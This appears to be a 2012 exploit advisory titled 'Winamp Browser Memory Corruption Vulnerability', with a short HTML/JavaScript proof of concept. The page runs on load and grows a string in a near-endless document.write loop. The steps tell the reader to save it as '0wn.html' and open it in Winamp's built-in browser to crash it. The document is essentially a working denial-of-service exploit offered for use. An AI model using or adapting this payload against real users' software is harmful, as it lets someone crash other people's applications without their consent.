===============================================
Winamp Browser Memory Corruption Vulnerability
===============================================
:-----------------------------------------------------------------------------------------------------------------------:
: # Exploit Title : Winamp Browser Memory Corruption Vulnerability
: # Date : 13 Agustus 2012
: # Author : X-Cisadane
: # Software Link : http://www.winamp.com/media-player/all
: # My Version : 5.63
: # Version : ALL Versions
: # Category : Desktop (Windows) Applications
: # Platform : Win32
: # Vulnerability : Memory Corruption Vulnerability
: # Tested On : Microsoft Windows XP SP 3 En-Us 32 Bit
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Winda Utari
:-----------------------------------------------------------------------------------------------------------------------:
Proof of Concept
================
1. Copy this script into notepad/your favorite text editor :
<body onload="javascript:kali_cisadane();"></body>
<script>
function kali_cisadane() {
var X = '\x42';
for (i =0;i<999999999;i++) {
X+=X+'\x42';
document.write(+X+X);
}
}
</script>
2. Save File Name as 0wn.html (For Example).
3. Open Winamp with Bento Skin & Click Browser. Fill with your 0wn.html location In the URL Bar.\
PIC : http://i50.tinypic.com/ush0j.png
